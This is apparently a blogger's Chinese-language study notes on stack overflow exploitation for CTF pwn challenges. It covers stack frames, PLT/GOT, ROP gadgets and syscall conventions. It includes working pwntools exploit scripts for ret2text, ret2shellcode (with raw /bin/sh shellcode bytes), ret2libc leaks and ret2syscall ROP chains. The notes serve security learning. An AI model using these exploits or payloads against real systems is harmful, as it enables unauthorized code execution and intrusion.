s0m1ng

二进制学习中

栈溢出基础总结

前言:

之前pwn写到别的地方没往github搬,后面慢慢搬吧

栈溢出基础知识:

栈溢出覆盖方向:

当程序使用 readgets 或者你在打 payload 时,数据的写入方向永远是从低地址向高地址蔓延的。

假设栈上原本有一个 4 字节的整数 0x30405060(在这个数值里,0x60 是最低位字节,0x30 是最高位字节)。它在真实的物理内存里是这样排列的:

1
2
内存低地址 -----> 内存高地址
[ 0x60 ] [ 0x50 ] [ 0x40 ] [ 0x30 ]

如果向栈内读入一个0x55;

1
2
内存低地址 -----> 内存高地址
[ 0x55 ] [ 0x50 ] [ 0x40 ] [ 0x30 ]

数值就变成了:0x30405055

栈帧结构与工作原理

栈在调用call时,示意图

在call之前:

1
2
3
push arg2
push arg1
call func

在call之后:

1
2
3
4
5
6
7
func:
    push ebp        ; 保存调用者栈基址
    mov ebp, esp    ; 建立当前栈帧
    sub esp, 0x20   ; 分配局部变量

    mov eax, [ebp+8]  ; arg1
    mov ebx, [ebp+12] ; arg2

call后栈存储:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
高地址
+-----------------+
| 参数 arg2 | ← 调用者压入的参数
+-----------------+
| 参数 arg1 |
+-----------------+
| return address | ← call 指令压入
+-----------------+
| saved EBP | ← push ebp
+-----------------+
| local var ... | ← sub esp, 0x14
| local var ... |
| local var ... |
+-----------------+
低地址

32位系统和64位系统的区别

函数传参方式的根本差异

32位与64位系统在函数传参上有显著区别:

32位下: 函数参数是通过栈传递的。

64位下: 函数参数主要是通过寄存器传递的,前6个参数对应的寄存器依次为 rdirsirdxrcxr8r9

系统调用约定 (Syscall)

当栈不可执行且程序无 system 函数时,我们需要直接调用底层系统调用(如 execve)。

32 位 Linux: 触发方式:使用 int 0x80sysenter

参数寄存器:eax = 系统调用号,参数依次放在 ebx, ecx, edx, esi, edi, ebp 中。

函数返回值放在eax

64 位 Linux: 触发方式:使用 syscall 指令。

参数寄存器:rax = 系统调用号,参数依次放在 rdi, rsi, rdx, r10, r8, r9 中(注意第4个参数是 r10 而不是 rcx,因为 rcx 被用来保存返回地址,CPU 会将返回地址(即 syscall 指令的下一条指令的地址)自动保存到 rcx 寄存器。当系统调用结束返回时(sysret 指令),CPU 再从 rcx 中取出地址跳回去继续执行。)

函数返回值放在rax

int 0x80和syscall的作用时进入内核状态,执行我们现在设置好的内核函数

数据宽度与地址特性

32 位系统: 寄存器和栈上的每个“格子”是 4 个字节(32 bit)。写 Pwn 脚本时,地址和数据都要用 p32() 打包。

64 位系统: 寄存器和栈上的每个“格子”是 8 个字节(64 bit),写脚本用 p64() 打包。更重要的是,在 64 位程序里,指针地址通常只有低 6 个字节是有意义的,比如 0x00007ffff7a0b000,它的高位全都是 \x00

_避坑点_:因为 64 位地址自带 \x00(字符串结束符),如果你溢出利用的是 strcpy 这类遇到 \x00 就停止拷贝的函数,你的 Payload 就会被硬生生截断!而 32 位的地址(如 0x08048460)通常没有这种烦恼。

常用系统调用号速查表 (Syscall Table)

在构造 ret2syscall 或手写 Shellcode 时,我们必须准确设置系统调用号。

请特别注意:Linux 下 32 位和 64 位的系统调用号是完全不同的! 以下是 Pwn 题中最常被用到的几个系统调用及其编号:

功能说明 对应 C 语言函数 32位调用号 (EAX) 64位调用号 (RAX) 常用 Pwn 场景
执行程序 sys_execve 11 (0xb) 59 (0x3b) ret2syscall 直接拿 /bin/sh 的 Shell
读文件/输入 sys_read 3 0 ORW 漏洞链读取 flag / 再次触发输入
写文件/输出 sys_write 4 1 ORW 漏洞链将 flag 打印到屏幕
打开文件 sys_open 5 2 ORW 漏洞链打开 flag 文件
退出程序 sys_exit 1 60 (0x3c) 保持栈平衡优雅退出,防止程序崩溃引发报警

(注:32位下 execve 为 0xb,64位下为 59。64位下 read 的调用号为 0。另外,在 64 位下,由于很多现代 Linux 系统推荐使用 openat 替代 openopenat 的调用号是 257 (0x101),这在较新的沙盒题中经常遇到。)
实战查表小技巧
如果你在打比赛时忘了某个系统调用号,且不能联网,可以直接在 Linux 终端用自带的头文件搜索:

查 32 位: cat /usr/include/asm/unistd_32.h | grep "execve"
查 64 位: cat /usr/include/asm/unistd_64.h | grep "execve"

页对齐与随机化本质

无论是主程序(ELF 文件)还是动态库(libc 等),加载到内存时都必须页对齐

页大小为 0x1000 = 4096B,所以加载基址的低12位(十六进制最后三位数)始终为 0。

低12位是页内偏移,永远是固定的,不会随着 ASLR 随机化。被 ASLR 随机化的是高位的页号(Page Number)。

栈对齐玄学理论概念

底层原因: 在较新的 Ubuntu 系统(glibc 2.27 及以上版本)中,调用 systemprintf 等函数时,底层有一条叫做 movaps 的汇编指令。这条指令极其苛刻,它要求当前栈顶指针 rsp 的地址必须是 16 字节对齐(即 rsp 地址最后一位必须是 0)。

如果你在构造ROP 链时,溢出覆盖完后 rsp 刚好差了 8 个字节(没有对齐),哪怕你的参数全对,程序也会在进入 system 内部时直接崩溃(Segmentation Fault)。这就是为什么我们要在调用 system 前额外垫一个空指令 ret(它相当于让 rsp 再往下走 8 个字节),强行把栈给对齐

构造ROP链理论基础:

理解rop链底层原理只需要看下面这三个东西

  • rip(指令指针寄存器)

  • rsp(栈顶指针寄存器)

  • 栈(Stack)

rop链本质是通过pop 和ret指令来给寄存器赋值,我们需要找到gadget来控制执行流

pop 寄存器(比如 pop rdi

动作 A(取值):把当前 rsp 指向的地方(栈顶的内容,8个字节),原封不动地复制到 rdi 寄存器里。

动作 B(移位):把 rsp 往下(高地址方向)移动 8 个字节(rsp = rsp + 8)。

一句话总结:pop rdi 就是“吃掉”当前栈顶的 8 个字节给 rdi,然后把栈顶指针让给下一个数据。

ret(返回指令)

你以为它是“函数结束”,但在 CPU 底层,ret 等价于一条指令:pop rip

动作 A(取值):把当前 rsp指向的地方(栈顶的 8 个字节),强行塞进 rip

动作 B(移位)rsp 往下移动 8 个字节(rsp = rsp + 8)。

一句话总结:ret 就是把当前栈顶的数据当作“下一条要执行的指令地址”,让 CPU 飞过去,同时栈顶指针往下挪一格。

所以某些payload :

1
payload = padding + p64(pop_rdi_ret的地址) + p64(data数据) + p64(system函数的地址)

通过这样的方式就可以把data 赋值给rdi了

找gadget的方法:

1
ROPgadget --binary ./pwn | grep "pop rdi"

如果只想看popret指令,可以配合--only参数使结果更精确:

1
ROPgadget --binary [目标文件] --only "pop|ret" | grep "pop rdi"

结果类似下面:

1
0x0000000000401234 : pop rdi ; ret

前面就是gadget的地址

Ret2libc中plt表和got表的区别及其作用

对比维度 PLT 表 (Procedure Linkage Table) GOT 表 (Global Offset Table)
中文名 过程链接表 全局偏移表
本质 代码段(一段段可执行的汇编指令) 数据段(一个个存放地址的指针数组)
内存权限 可读、可执行 (r-x) 可读、可写 (rw-) _(注:开启 Full RELRO 后变为只读)_
存放位置 .plt .got.plt 段(通常简称为 GOT 表)
作用 负责把程序的调用请求,转交给对应的 GOT 表项。 里面记录着真正函数的实际内存地址。

plt和got表运行过程:

当程序编译出来但是没运行时:

  • PLT 地址: 是固定的。比如在 IDA 里看到 .plt 段有个 puts@plt,地址是 0x400560

plt的地址一般存的是一串代码

1
2
3
4
; 这里就是 puts@plt (0x400560) 内部真正的样子
0x400560: jmp qword ptr [0x601018] ; <--- 注意看这第一条指令!
0x400566: push 0x0 ; 如果是第一次调用,给动态链接器传编号
0x40056b: jmp 0x400550 ; 呼叫动态链接器 (_dl_runtime_resolve)
  • GOT 地址(虚拟地址): 也是固定的。比如 .got.plt 段有个 puts_got,地址是 0x601018注意:这个 0x601018 只是存放puts函数真实地址的地址,也就是说[0x601018]存的就是puts函数的地址。

程序运行时:
Linux 为了启动快,采用了延迟绑定 (Lazy Binding) 机制。也就是说,程序刚跑起来时,GOT 表里其实是没有真实地址的。

  • 第一次调用 puts

    1. 程序跳到 puts@plt (0x400560)。

    2. PLT 去看 GOT 表(0x601018)里存了啥。

    3. 此时 GOT 表里存的还是 PLT 的下一条指令地址(跳回去了)。

    4. 接着触发动态链接器(_dl_runtime_resolve),链接器去 libc.so 里找到 puts真实地址(比如 0x7ffff7a94300)。

    5. 链接器把这个真实地址写进 0x601018 这个格子里,然后执行 puts

  • 第二次调用 puts

    1. 程序跳到 puts@plt

    2. PLT 去看 GOT 表。

    3. 这次 GOT 表里已经是真实地址 (0x7ffff7a94300) 了。

    4. 直接去执行

plt表和got表的使用:

在写 EXP 脚本时,我们到底什么时候用 .plt,什么时候用 .got

  1. elf.plt['xxx'] —— 你的目的是“调用/执行”它

当你构造 ROP 链,想要让程序去执行某个函数时,用 PLT 地址。

  • 底层含义: 你获取的是 IDA 中固定的那段执行代码的地址。因为 PLT 会通过 GOT 去动态解析 libc 里的真正地址。
  • 打印:
1
2
3
4
# 你想让程序打印东西,就直接跳到 puts 的 PLT 存根去执行
payload = p64(pop_rdi_ret) + p64(got_addr) + p64(elf.plt['puts'])
# 经典用法:直接调用 plt 表里的 system
adr_system = elf.plt['system']
  1. elf.got['xxx'] —— 你的目的是“泄露”或“篡改”它(因为got表存的是数据,rdi到这里直接报错,除非栈可执行)

当你需要知道某个函数在 libc 中的真实内存地址,或者你想把某个函数劫持掉时,用 GOT 地址。

  • 底层含义: 你获取的是那个存放了真实地址的“格子”的固定虚拟地址。给出的永远是程序的 GOT 表项地址,不是 libc 的真实函数地址。

  • 泄露:

    # 你的笔记中的经典用法:把 GOT 表项的地址传给 puts 去打印,以此泄露里面装的真实 libc 地址
    adr_libc_main = elf.got['__libc_start_main']
    payload = b'a'*18 + p64(adr_rdi) + p64(adr_libc_main) + p64(adr_puts) ...
    
  • GOT 表劫持): 假设题目存在任意地址写漏洞(比如格式化字符串漏洞),你可以把 elf.got['printf'] 里的内容,改写成 system 的真实地址。这样程序下次再调用 printf("/bin/sh") 时,实际上执行的是 system("/bin/sh")

基础攻击方法分类

Ret2text

最基础的溢出利用,直接覆盖返回地址,跳转到程序自带的后门函数或目标地址。

1
2
3
4
5
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target)) # 覆盖旧的ebp后紧跟返回地址
sh.interactive()

Ret2shellcode

当存在可执行的内存段(如未开启 NX 保护的栈,或可读写执行的 .bss 段)时,可以写入自定义的恶意机器码(shellcode)并跳转执行。

  • 32位短字节 shellcode (21字节): \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

  • 64位较短 shellcode (23字节): \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

利用脚本示例(向 bss 段写 shellcode 并跳转):

1
2
3
4
5
6
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

Ret2libc

适用场景: 程序开启了 NX 保护(栈不可执行),且为动态链接程序(运行时加载 libc.so)。

判断:
用 file 命令

file ./a.out

如果输出里有 “dynamically linked”,说明它运行时要加载 libc。

如果写着 “statically linked”,说明它已经把 libc 打包进 ELF,不需要外部 libc。

重要概念:

虚拟地址:ida pro存放printf函数的got.plt对应的地址,比如pwntools里写elf.got[‘printf’]拿到的就是printf的虚拟地址,虚拟地址里存放的值才是真实地址

真实地址:运行时printf函数的真实地址,也就是got表项虚拟地址里存放的值

libc基址:libc.so的基地址

libc偏移:libc.so中printf函数的真实地址与libc.so的基地址的差值

ret2libc分四种情况,每种情况又分32位和64位架构都有对应模板:

32位

有sys,有shell

最简单的情况,直接调用

1
2
3
4
5
6
7
8
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

有sys,无shell

注意,往函数中输入参数时,32位是通过栈传递的,64位是通过寄存器传递的,32位函数地址在前,64位寄存器在前,函数在后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(

    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

无sys,有shell

这里没有sys,那就不能直接拿他的地址了

1
adr_sys = elf.plt['system']

因为我们代码里没有system函数

PLT 表是按需生成的,它不是 libc 的完整目录。

  • 编译时,编译器会去检查你的 C 语言源码。

  • 编译器会为你源码里真正写出并调用过的外部函数,在 .plt 段生成对应的链接存根(Stub)。

  • 也就是说,如果原程序的开发者在写代码时,只用了 putsreadprintf根本没在代码里写过 system(...),那么编译出来的可执行文件里就绝对没有 system@plt

如果你在 Pwntools 脚本里强行写 elf.plt['system'],Python 会当场给你报一个 KeyError: 'system' 的红字错误,因为它在 ELF 文件的符号表里根本找不到这个玩意儿。

步骤:

libc里啥都有,直接去libc里拿sys函数地址就行(参考无sys,无shell),然后参数传shell

  • 寻找输出函数(如 putswrite)泄露某个 GOT 表项(比如 __libc_start_main_got)。

  • 计算出 libc 基址,进而算出真实的 system 函数地址。

  • 再次溢出时,直接把程序自带的 /bin/sh 地址作为参数传给算出来的 system 函数。 _(注:这和“无sys无shell”的步骤几乎一样,只是省去了去 libc 里找 /bin/sh 的那一步,直接就地取材。)

无sys,无shell

步骤

泄露 __libc_start_main 地址
获取 libc 版本(如果题目把libc附件给你了,就用strings libc.so | grep -i “release”获取版本)
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main'] #总地址
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])#当栈可直接溢出时,调用plt函数打印libc_start_main_got地址,然后返回main函数,但不可溢出时需借助格式化字符串等漏洞泄露libc_start_main_got地址
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

64位

有sys,有shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from pwn import *                                    
elf=ELF('./我把她丢了')
io = connect("gz.imxbt.cn",20666)            

#adr_system=0x4004FC

adr_system=elf.plt['system']         #sys_plt地址并不是ida中"system"字符串地址,是在PLT 会通过 GOT 去动态解析 libc 里的真正 system地址

adr_shell=0x402008
poprdi=0x401196
ret=0x40101a


payload  = b'a'*112+b'b'*8+p64(poprdi)+p64(adr_shell)+p64(ret)+p64(adr_system)  
io.recv()
io.sendline(payload)
io.interactive()                    

有sys,无shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 有sys,无shell(64位)
from pwn import *
elf=ELF('./彻底失去她')

io = connect("gz.imxbt.cn",20698)
#adr_system=0x4004FC
adr_system=elf.plt['system']
print(adr_system)
adr_read=elf.plt['read']

bss=0x4040A0
pop_rdi=0x401196
pop_rsi=0x4011ad
pop_rdx=0x401265

payload =b'a'*(10+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x20)+p64(adr_read)+p64(pop_rdi)+p64(bss)+p64(adr_system)


io.recv()
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

无sys,有shell

参考无sys,无shell

无sys,无shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *                                    
from LibcSearcher import *


elf=ELF('./pwn')
io = connect("gz.imxbt.cn",20742)



adr_main=elf.symbols['main']
adr_puts=elf.plt['puts']
adr_libc_main=elf.got['__libc_start_main'] #给出的永远是 虚拟地址(程序 GOT 表项的地址),不是 libc 的真实函数地址。


adr_rdi=0x401176
adr_ret=0x40101a
io.recv()
payload=b'a'*18+p64(adr_rdi)+p64(adr_libc_main)+p64(adr_puts)+p64(adr_main) # put的地址是小端序

io.sendline(payload)
#adr_libc_main_ture=u64(io.recv()[-6:].ljust(8,b'\x00'))#在 64 位程序里,指针地址通常只有 低 6 个字节是有意义的
adr_libc_main_ture=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))#注意用第二种写法,但也不绝对,最好print(io.recv())看一下,ljust是在右边补0

print(hex(adr_libc_main_ture))
libc=LibcSearcher('__libc_start_main',adr_libc_main_ture) #获取Libc版本


libcbase=adr_libc_main_ture-libc.dump('__libc_start_main')
print(hex(libcbase))

adr_sys=libcbase+libc.dump('system')
adr_shell=libcbase+libc.dump('str_bin_sh')

payload=b'a'*18+p64(adr_rdi)+p64(adr_shell)+p64(ret)+p64(adr_sys)#为什么要加ret呢,为了处理栈平衡,否则会崩溃.






io.recv()
io.sendline(payload)
io.interactive()

Ret2syscall

这里面就没有plt表和got表了,不能借助libc的力量了

小tips:

  • 没有完整的/bin/sh,但有’sh’,可以用sh,但别用’/sh’

    • 调用 system("sh") 时,系统会去你环境变量的 PATH 路径(比如 /bin, /usr/bin 等)里去搜索名字叫 sh 的程序。它能顺利找到 /bin/sh 并执行,所以你能拿到 Shell。

    • '/sh' 绝对不行 加上了前面的斜杠 /,这就变成了一个绝对路径。当你调用 system("/sh") 时,系统会严格按照你的指示,去 Linux 的根目录(/)下面找一个名字叫 sh 的文件。很显然,根目录下没有这个文件,程序会直接报错 “No such file or directory”

  • 使用 p32(adr_system) + p32(0) + p32(str_binsh) 来构造rop链执行system("\bin\sh") 需要加p32(0) 来伪造返回地址
    是因为你直接跳到了 system 函数,它执行完后会 ret,所以你必须手动提供返回地址;(只有sys_plt和shell地址,没有调用call system)
    使用 call system gadget 的话,它自动 push eip(返回地址)并跳转到 system,因此你不需要提供伪返回地址,参数直接跟上就行。

考点一:最理想状态:没sys有shell

  • 特征: 静态编译程序,且没开沙盒。存在完整的 /bin/sh 字符串,且各种 pop reg; ret 的 Gadget 随便挑。

  • 解法: 这是送分题。直接按照系统调用规矩:32 位给 eax, ebx, ecx, edx 赋值并触发 int 0x80;64 位给 rax, rdi, rsi, rdx 赋值并触发 syscall

  • 自动化杀器: 这种题甚至不需要手写代码,直接终端一把梭:ROPgadget --binary ./pwn --ropchain

普通exp:(无sys有/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) #32位下execve在syscall下的调用号是0xb,64位下调用号是59
sh.sendline(payload)
sh.interactive()

自动化生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from struct import pack
io=process('./pwn')
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
payload=b'a'*(0x20+8)+p
io.recv()
io.sendline(payload)
io.interactive()

考点二:无sys无shell

分两类:

不限制输入长度:

ROPgadget --binary ./pwn --ropchain

自动化生成payload rop链

限制输入长度:

利用 read 系统调用写入: 构造一次 sys_read(0, bss_addr, length),让程序停下来等你输入,你顺势输入 /bin/sh\x00 到 bss 段。接着再构造一次 sys_execve(bss_addr, 0, 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from struct import pack
io=process('./gift')

adr_rax_rdx_rbx=0x47f2ea
adr_rdi=0x401f2f
adr_rsi=0x409f9e
adr_bss=0x4C72C0
syscall_addr = 0x448259 #不好找


payload=b'a'*(0x20+8)+p64(adr_rax_rdx_rbx)+p64(0)+p64(0x8)+p64(0)+p64(adr_rdi)+p64(0)+p64(adr_rsi)+p64(adr_bss)+p64(syscall_addr)
io.recv()


payload+=p64(adr_rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(adr_rdi)+p64(adr_bss)+p64(adr_rsi)+p64(0)+p64(syscall_addr)


io.sendline(payload)
io.sendline(b'/bin/sh\x00') #这里 \x00 很重要,它保证了 bss 段里的 /bin/sh 是 null-terminated,否则 execve 可能会读取到 bss 后面乱七八糟的数据,导致调用失败或崩溃。

io.interactive()

考点三:极其缺 Gadget —— 凑不出系统调用号 rax

特征: 想执行 execve,64 位下 rax 必须是 59。但是你搜遍了程序,根本没有 pop rax; ret

解法(三大骚操作):

  1. 算术运算硬凑: 找找有没有 xor rax, rax (清零),然后配合 inc rax (加一) 或者 add rax, 1。连续放 50 多次 add rax, 1 ; ret,这就是为了硬生生把 rax 从 0 加到 59 以触发 execve

  2. 利用函数返回值 (Return Value): 在 Linux 系统调用中,readrecv 函数执行完后,会把实际读取到的字节数存放在 rax 寄存器里。如果你能控制程序执行一次 read,你只需在键盘上精准输入 59 个字节的垃圾数据,此时 rax 就神奇地变成了 59!紧接着执行 syscall,直接起飞!

  3. SROP (Sigreturn Oriented Programming): 如果连算术指令和返回值都借不到,但你能控制 rax = 15sys_sigreturn 的调用号),你就可以直接伪造整个 CPU 的寄存器上下文状态(极高级考点,后续可以单独开一篇讲)。

考点四:极其缺 Gadget —— 找不到控制 rdx 的指令

特征:execve("/bin/sh", 0, 0) 中,第三个参数 envp 需要传给 rdx。但在 64 位程序中,pop rdx; ret 这个指令经常像人间蒸发一样找不到。

解法: 如果 rdx 实在找不到,也不一定是绝境。在多数 Linux 内核版本中,如果 rdx 里是些乱七八糟的非零值,execve 依然有可能执行成功。但如果不幸崩溃,你可以尝试利用 64 位 ELF 文件自带的万能函数 __libc_csu_init(也就是经典的 Ret2csu 技巧)。这个函数内部有一套极其稳定的寄存器赋值链,可以完美控制 rbx, rbp, r12, r13, r14, r15,并通过 mov rdx, r15 间接控制 rdx

考点五:沙盒机制 (Seccomp / PRCTL)

特征: 题目的确是静态编译,你也算好了所有的 ret2syscall 链,但发过去直接显示 Bad system call (核心已转储)。

解法: 这是目前比赛中最常见的一堵墙。出题人用 seccomp 禁用了 execve (59 / 0xb) 这个系统调用。拿到 Shell 已经不可能了,你必须把 ret2syscall 的目标改成 ORW (Open - Read - Write)

  1. Open: 构造 sys_open("/flag", 0),系统会返回一个文件描述符(通常是 3,因为 0,1,2 被标准输入输出占了)。

  2. Read: 构造 sys_read(3, bss_addr, 0x50),把 flag 从文件里读到内存的 .bss 段。

  3. Write: 构造 sys_write(1, bss_addr, 0x50),把 .bss 段里的 flag 打印到你的屏幕(标准输出 1)上。

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道